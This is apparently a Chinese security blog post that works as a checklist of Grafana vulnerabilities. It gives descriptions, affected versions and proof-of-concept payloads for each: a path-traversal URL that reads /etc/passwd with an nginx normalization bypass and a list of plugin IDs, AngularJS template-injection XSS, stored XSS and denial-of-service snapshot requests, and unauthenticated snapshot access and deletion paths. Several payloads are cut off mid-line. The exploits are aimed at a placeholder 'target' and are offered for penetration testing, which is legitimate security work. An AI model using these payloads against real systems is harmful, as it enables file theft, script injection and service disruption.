Grafana漏洞利用清单

原创 瓦都尅 小宝的安全学习笔记 2023-04-17 19:00 北京

Grafana

Grafana是一个跨平台的开源分析和交互式可视化Web应用程序。通过Web在连接支持的数据源时，提供图表、图形和警报等。

CVE-2020-11110

- **漏洞描述：** Grafana 在 6.7.1 版本中存在存储型跨站脚本漏洞，原因是 originalUrl 字段缺乏足够的输入验证保护。攻击者可以利用这个漏洞注入 JavaScript 代码，当访问快照后点击" Open Original Dashboard "时，该代码将被执行。
- **影响版本：** 6.7.1
- **漏洞等级**：中危
- **POC**

```
https://target/api/snapshots

POST /api/snapshots HTTP/1.1
Host: http://target.com
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: http://target.com
content-type: application/json
Connection: close

{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconCo
```

CVE-2021-43798

- **漏洞描述：** Grafana 8.0.0-beta1 到 8.3.0 版本（除已修补版本外）存在目录遍历漏洞，允许访问本地文件。该漏洞的URL路径为： <grafana_host_url>/public/plugins// ，其中 <plugin_id> 是任何已安装插件的插件ID。
- **影响版本**： 8.0.0-beta1 - 8.3.0
- **漏洞等级：** 高危
- **POC**

```
https://target/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../.
https://target/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../.

# 默认插件列表：http://x.x.x.x:3000/api/plugins?embedded=0
live
```

```
icon
loki
text
logs
news
stat
mssql
mixed
mysql
tempo
graph
gauge
table
debug
zipkin
jaeger
geomap
canvas
grafana
welcome
xychart
heatmap
postgres
testdata
opentsdb
influxdb
barchart
annolist
bargauge
graphite
dashlist
piechart
dashboard
nodeGraph
alertlist
histogram
table-old
pluginlist
timeseries
cloudwatch
prometheus
stackdriver
alertGroups
alertmanager
elasticsearch
gettingstarted
state-timeline
status-history
grafana-clock-panel
grafana-simple-json-datasource
grafana-azure-monitor-datasource

# Bypass nginx/apache 等 URI normalization 机制
/public/plugins/welcome/#/../../../../../../../../../etc/passwd
```

CVE-2021-41174

- **漏洞描述：**在受影响的版本中，如果攻击者能够引诱受害者访问存在攻击代码的攻击页面 URL ，则任意 JavaScript 内容可能在受害者的浏览器上下文中执行。 URL 必须被设计

为利用 AngularJS 渲染并包含 AngularJS 表达式的插值绑定。 AngularJS 使用双大括号进行插值绑定： {{ }} ，例如： {{constructor.constructor('alert(1)')()}} 。当用户跟随该链接并呈现页面时，登录按钮将包含原始链接和一个查询参数，以强制重定向到登录页面。 URL 没有经过验证， AngularJS 渲染引擎将执行 URL 中包含的 JavaScript 表达式。

- **影响版本**： 8.0.0 <= v.8.2.2
- **漏洞等级**：中危
- **POC**

```
https://target/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)
```

CVE-2021-39226

- **漏洞描述**： Grafana 版本在 7.5.11 和 8.1.5 之前存在漏洞，允许远程未经身份验证的用户通过访问路径 /dashboard/snapshot/:key 或 /api/snapshots/:key 来查看数据库快照。如果快照的 public_mode 配置设置为 true （默认值 false ），则未经身份验证的用户可以通过访问字面路径 /api/snapshots-delete/:deleteKey 来删除数据库快照。无论快照的 public_mode 设置如何，已认证用户都可以通过访问路径 /api/snapshots/:key 或 /api/snapshots-delete/:deleteKey 来删除快照。
- **影响版本**： 7.5.11 - 8.1.5
- **漏洞等级**：高危
- **POC**

```
https://target/api/snapshots/:key
```

CVE-2021-27358

- **漏洞描述**：Grafana 6.7.3 到 7.4.1 版本中的快照功能可能允许未经身份验证的远程攻击者通过远程 API 调用触发拒绝服务攻击
- **影响版本**： 6.7.3 - 7.4.1
- **漏洞等级**：高危
- **POC**

```
https://target/api/snapshots

POST /api/snapshots HTTP/1.1
Host: target.com
Content-Type: application/json

{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepi
```

CVE-2022-32275

- **漏洞描述：** `Grafana 8.4.3` 存在漏洞，可以通过例如 `/dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd` URI这样的方式读取文件。
- **影响版本：** `8.4.3`
- **漏洞等级：** 高危
- **POC**

```
https://target/dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /..
```

CVE-2022-32276

- **漏洞描述：** `Grafana 8.4.3` 存在通过例如 `/dashboard/snapshot/*?orgId=0` URI这样的方式未经身份验证访问的问题。但是，厂商认为这是一个UI错误，并不是漏洞。
- **影响版本：** `8.4.3`
- **漏洞等级：** N/A
- **POC**

```
https://target/dashboard/snapshot/*?orgId=0
```

Grafana Metrics

```
https://target/metrics
```

SRC 21 Grafana 1 渗透测试 21

SRC · 目录

上一篇
Burp Collaborator的奇淫技巧

下一篇
安卓应用层抓包突破